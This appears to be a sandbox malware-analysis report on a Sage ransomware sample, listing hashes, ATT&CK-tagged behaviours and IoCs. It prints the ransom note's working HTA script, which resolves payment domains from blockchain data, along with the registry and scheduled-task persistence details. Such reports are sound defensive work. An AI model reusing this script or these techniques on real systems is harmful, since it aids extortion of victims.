sage | 2755fc6b3d4b55a917c223449ad8e845dc733bd1de6de075376866ea2996fbd3

Analysis

max time kernel
149s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/10/2026, 04:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
Size 258KB
Sample261016-ewvwbshs2j
SHA256 2755fc6b3d4b55a917c223449ad8e845dc733bd1de6de075376866ea2996fbd3
MD5 c9a3b1d23a9f9ce01ad9c8987ccf1c02
SHA1 9ccd590c6ed393d3c85680b517700d3818f27561
SHA512 9f92744e52d215f0f049d902b7795571600666872cda6f14a58559da3c86f584d1239a9fd8c2b40af0e5d1be07b83c1c77925a726d4d5b6093d47a3acd18798d
SSDEEP 3072:Em+JStGIZqFwR+DXH+jjGbXgmxa+6hv8LsXg10NSEa1CaMSm6lMeSqsqS035Miov:aG4XH0GD66WN/a3MSmyST0pvwxvTx
TLSH
T12D44DF02B6D1C4B2E6B706724878CE71577DFD224F718AA77794360B4D351E0AA32B63
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution sage persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Documents\!HELP_SOS.hta

Ransom Note

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Decryption Instructions</title> <HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize"> <style> a { color: #04a; text-decoration: none; } a:hover { text-decoration: underline; } body { background-color: #e7e7e7; color: #222; font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif; font-size: 12pt; line-height: 16pt; } body, h1 { margin: 0; padding: 0; } h1 { color: #555; text-align: center; padding-bottom: 1.5em; } h2 { color: #555; text-align: center; } ol li { padding-bottom: 13pt; } .container { background-color: #EEE; border: 2pt solid #C7C7C7; margin: 3%; min-width: 600px; padding: 5% 10%; color: #444; } .filecontainer{ padding: 5% 10%; display: none; } .header { border-bottom: 2pt solid #c7c7c7; padding-bottom: 5%; } .hr { background: #bda; display: block; height: 2pt; margin-top: 1.5%; margin-bottom: 1.5%; overflow: hidden; width: 100%; } .key{ background-color: #A1D490; border: 1px solid #506A48; display: block; text-align: center; margin: 0.5em 0; padding: 1em 1.5em; word-wrap: break-word; } .keys{ margin: 3em 0; } .filename{ border: 3px solid #AAA; display: block; text-align: center; margin: 0.5em 0em; padding: 1em 1.5em; background-color: #DCC; } .us{ text-decoration: strong; color: #333; } .info{ background-color: #E4E4E4; padding: 0.5em 3em; margin: 1em 0; } .text{ text-align: justify; } #file{ background-color: #FCC; } .lsb{ display: none; margin: 3%; text-align: center; } .ls{ border: 1px solid #888; border-radius: 3px; padding: 0 0.5em; margin: 1em 0.1em; line-height: 2em; display: inline-block; } .ls:hover{ background-color: #D0D0D0; } .l{ display:none; } .lu{ display:none; } </style> <script language="vbscript"> Function GetCmd GetCmd = App.commandLine End Function </script> <script language="javascript"> function openlink(url){ new ActiveXObject("WScript.Shell").Run(url); return false; } function aIndexOf(arr, v){ for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i; return -1; } function tweakClass(cl, f){ var els; if(document.getElementByClassName != null){ els = document.getElementsByClassName(cl); } else{ els = []; var tmp = document.getElementsByTagName('*'); for (var i = 0; i < tmp.length; i++){ var c = tmp[i].className; if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]); } } for(var i = 0; i < els.length; i++) f(els[i]); } function show(el){ el.style.display = 'block'; } function hide(el){ el.style.display = 'none'; } var langs = ["en","de","it","pt","es","fr","kr","nl","ar","fa","zh"]; function setLang(lang){ if(aIndexOf(langs, lang) == -1) lang = langs[0]; for(var i = 0; i < langs.length; i++){ var clang = langs[i]; tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; }); tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; }); } } function newXHR() { if (window.XMLHttpRequest) return new window.XMLHttpRequest; try { return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } catch(error) { return null; } } function getPage(url, cb) { try{ var xhr = newXHR(); if(!xhr) return cb('no xhr'); xhr.onreadystatechange = function() { if(xhr.readyState != 4) return; if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status) cb(null, xhr.responseText); }; xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true); xhr.send(); } catch(e){ cb(e); } } function decodeTxString(hex){ var m = '0123456789abcdef'; var s = ''; var c = 0xAA; hex = hex.toLowerCase(); for(var i = 0; i < hex.length; i+=2){ var a = m.indexOf(hex.charAt(i)); var b = m.indexOf(hex.charAt(i+1)); if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b; s+= String.fromCharCode(c = (c ^ ((a << 4) | b))); } return s; } var OR = 'OP_RE'+'TURN '; var sources = [ {bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.vouts; for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10)); return null; } }, {bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.outputs; for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10)); return null; } }, {bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all', ptxs: function(json){ var res = []; for(var i = 0; i < json.length; i++) res.push(json[i][1]); return res; }, ptx: function(json){ var os = json.output; for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10)); return null; } }, {bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/', ptxs: function(json){ var res = []; var m = {}; for(var i = 0; i < json.txrefs.length; i++){ var tx = json.txrefs[i].tx_hash; if(m[tx]) continue; m[tx] = 1; res.push(tx); } return res; }, ptx: function(json){ var os = json.outputs; for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex); return null; } } ]; function eachUntil(a,f,c){ var i = 0; var n = function(){ if(i >= a.length) return c('f'); f(a[i++], function(err, res){ if(err == null) return c(null, res); n(); }); }; n(); } function getJson(url, cb){ getPage(url, function(err, res){ if(err != null) return cb(err); var json; try{ if(window.JSON && window.JSON.parse){ json = window.JSON.parse(res); } else{ json = eval('('+res+')'); } } catch(e){ cb(e); } cb(null, json); }); } function getDomains(ad, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp; url+= s.adp+ad; if(s.adpb) url+= s.adpb; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptxs(json)); } catch(e){ cb(e); } }); }, function(err, txs){ if(err != null) return cb(err); if(txs.length == 0) return cb('f'); eachUntil(txs, function(tx, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp+s.txp+tx; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptx(json)); } catch(e){ cb(e); } }); }, function(err, res){ if(err != null) return cb(err); if(res == null) return cb('f'); cb(null, res.split(':')); }); }, cb); }); } function updateLinks(){ tweakClass('lu', hide); tweakClass('lu-updating', show); getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){ tweakClass('lu', hide); if(err != null){ tweakClass('lu-error', show); return; } tweakClass('lu-done', show); var html = ''; for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://7gie6ffnkrjykggd.'+ds[i]+'/login/AQAAAAAAAAAAVaFVacJIywE3TzFYbYEnvHPwnJrIRHmatlhIWjQsHR_A" onclick="javascript:return openlink(this.href)">http://7gie6ffnkrjykggd.'+ds[i]+'/</a></div>'; tweakClass('links', function(el){ el.innerHTML = html; }); }); return false; } function onPageLoaded(){ try{ tweakClass('lsb', show); }catch(e){} try{ tweakClass('lu-orig', show); }catch(e){} try{ setLang('en'); }catch(e){} try{ var args = GetCmd().match(/"[^"]+"|[^ ]+/g); if(args.length > 1){ var file = args[args.length-1]; if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2); document.getElementById('filename').innerHTML = file; show(document.getElementById('file')); document.title = 'File is encrypted'; } }catch(e){} } </script> </head> <body onload='javascript:onPageLoaded()'> <div class='lsb'> <span class='ls ls-en' onclick="javascript:return setLang('en')">English</span> <span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span> <span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span> <span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span> <span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span> <span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span> <span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span> <span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span> <span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span> <span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span> <span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span> </div> <div id='file' class='container filecontainer'> <div class='filename'> <div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div> <div> <h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2><h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2><h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2><h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2><h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2><h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2><h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2><h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2><h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2><h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2><h2 class='l l-zh' >文件已被加密，但是可以解密</h2> <p><span id='filename'></span></p> </div> </div> <h2 class='l l-en' style='display:block'>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2><h2 class='l l-de' >Die Datei, die Sie öffnen wollten, und andere wichtige Dateien auf ihrem Computer wurden von "SAGE 2.2 Ransomware" verschlüsselt.</h2><h2 class='l l-it' >Il file che hai tentato di aprire e altri file importanti del tuo computer sono stati crittografati da "SAGE 2.2 Ransomware".</h2><h2 class='l l-pt' >O arquivo que você está tentando acessar está criptografado, outros arquivos importantes em seu computador também foram criptografados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-es' >El archivo que intentó abrir y otros importantes archivos en su computadora fueron encriptados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-fr' > Le fichier que vous essayez d’ouvrir et d’autres fichiers importants sur votre ordinateur ont été cryptés par "SAGE 2.2 Ransomware".</h2><h2 class='l l-kr' >컴퓨터에서 여는 파일 및 기타 중요한 파일은 "SAGE 2.2 Ransomware"에 의해 암호화되었습니다.</h2><h2 class='l l-nl' >Het bestand dat je probeert te openen en andere belangrijke bestanden op je computer zijn beveiliged door "SAGE 2.2 Ransomware".</h2><h2 class='l l-ar' > الملف الذي كنت بصدد فتحه وبعض الملفات المهمة على حاسوبك تم تشفيرها "SAGE 2.2 Ransomware".</h2><h2 class='l l-fa' >فایلی که شما تلاش کردید بازکنید و فایل های کامپیوتر شما رمزگذاری شده است "SAGE 2.2 Ransomware".</h2><h2 class='l l-zh' >您试图打开的文件以及您计算机上的其它文件已经用"SAGE 2.2 Ransomware"进行了加密。</h2> <h2 class='l l-en' style='display:block'>Action required to restore your files.</h2><h2 class='l l-de' >Aktion erforderlich, um ihre Daten wiederherzustellen.</h2><h2 class='l l-it' >Azione necessaria per ripristinare i file.</h2><h2 class='l l-pt' >O que você deve fazer para restaurar seus arquivos.</h2><h2 class='l l-es' >Se requiere una acción para restaurar sus archivos.</h2><h2 class='l l-fr' >Action requise pour restaurer vos fichiers.</h2><h2 class='l l-kr' >파일을 복원하는 데 필요한 작업.</h2><h2 class='l l-nl' >Aktie vereist om je bestanden te herstellen.</h2><h2 class='l l-ar' > الإجراءات المطلوبة لاستعادة الملفات الخاصة بك.</h2><h2 class='l l-fa' >برای بازگرداندن فایل های خود را اقدام کنید.</h2><h2 class='l l-zh' >要恢复文件需要进行解密。</h2> </div> <div class='container'> <div class="text l l-en" style='display:block'> <h1>File recovery instructions</h2> <p>You probably noticed that you can not open your files and that some software stopped working correctly.</p> <p>This is expected. Your files content is still there, but it was encrypted by <span class='us'>"SAGE 2.2 Ransomware"</span>.</p> <p>Your files are not lost, it is possible to revert them back to normal state by decrypting.</p> <p>The only way you can do that is by getting <span class='us'>"SAGE Decrypter"</span> software and your personal decryption key.</p> <div class='info'> <p>Using any other software which claims to be able to restore your files will result in files being damaged or destroyed.</p> </div> <p>You can purchase <span class='us'>"SAGE Decrypter"</span> software and your decryption key at your personal page you can access by following links:</p> <div class='keys links'> </div> <div class='info lu lu-orig'>

URLs

http://'+s.bp
http://'+s.bp+s.txp+tx

Signatures

Family: Sage
Sage is a ransomware that has been active since 2020.
ransomware sage
Contacts a large (7706) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
1568	WScript.exe

Executes dropped EXE 4 IoCs

pid	Process
5224	Rj3fNWF3.exe
3740	Rj3fNWF3.exe
2284	Rj3fNWF3.exe
3220	Rj3fNWF3.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	Rj3fNWF3.exe
File opened (read-only)	\??\I:	Rj3fNWF3.exe
File opened (read-only)	\??\O:	Rj3fNWF3.exe
File opened (read-only)	\??\T:	Rj3fNWF3.exe
File opened (read-only)	\??\U:	Rj3fNWF3.exe
File opened (read-only)	\??\V:	Rj3fNWF3.exe
File opened (read-only)	\??\W:	Rj3fNWF3.exe
File opened (read-only)	\??\H:	Rj3fNWF3.exe
File opened (read-only)	\??\J:	Rj3fNWF3.exe
File opened (read-only)	\??\L:	Rj3fNWF3.exe
File opened (read-only)	\??\M:	Rj3fNWF3.exe
File opened (read-only)	\??\Q:	Rj3fNWF3.exe
File opened (read-only)	\??\Y:	Rj3fNWF3.exe
File opened (read-only)	\??\Z:	Rj3fNWF3.exe
File opened (read-only)	\??\K:	Rj3fNWF3.exe
File opened (read-only)	\??\N:	Rj3fNWF3.exe
File opened (read-only)	\??\S:	Rj3fNWF3.exe
File opened (read-only)	\??\D:	Rj3fNWF3.exe
File opened (read-only)	\??\P:	Rj3fNWF3.exe
File opened (read-only)	\??\R:	Rj3fNWF3.exe
File opened (read-only)	\??\X:	Rj3fNWF3.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1568	WScript.exe
5676	WScript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\Wallpaper	Rj3fNWF3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\DDx.bmp"	Rj3fNWF3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4628	cmd.exe
6084	cmd.exe
6064	cmd.exe
1140	cmd.exe
4336	cmd.exe
2920	cmd.exe
5240	cmd.exe
4220	cmd.exe
4336	cmd.exe
700	cmd.exe
3772	cmd.exe
3364	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rj3fNWF3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rj3fNWF3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rj3fNWF3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rj3fNWF3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Control Panel\Desktop	Rj3fNWF3.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-20	Rj3fNWF3.exe
Key created	\REGISTRY\USER\.DEFAULT	Rj3fNWF3.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\htafile\DefaultIcon	Rj3fNWF3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\htafile\DefaultIcon\ = "%WinDir%\\SysWow64\\shell32.dll,44"	Rj3fNWF3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\shell\open\command\ = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\f1.hta\" \"%1\""	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\.sage	Rj3fNWF3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\.sage\ = "sage.notice"	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\shell\open\command	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\shell	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\DefaultIcon	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\htafile	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\FriendlyTypeName	Rj3fNWF3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\FriendlyTypeName\ = "encrypted by SAGE"	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\shell\open	Rj3fNWF3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	Rj3fNWF3.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice	Rj3fNWF3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\sage.notice\DefaultIcon\ = "%WinDir%\\SysWow64\\shell32.dll,47"	Rj3fNWF3.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
5688	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dwt.exe
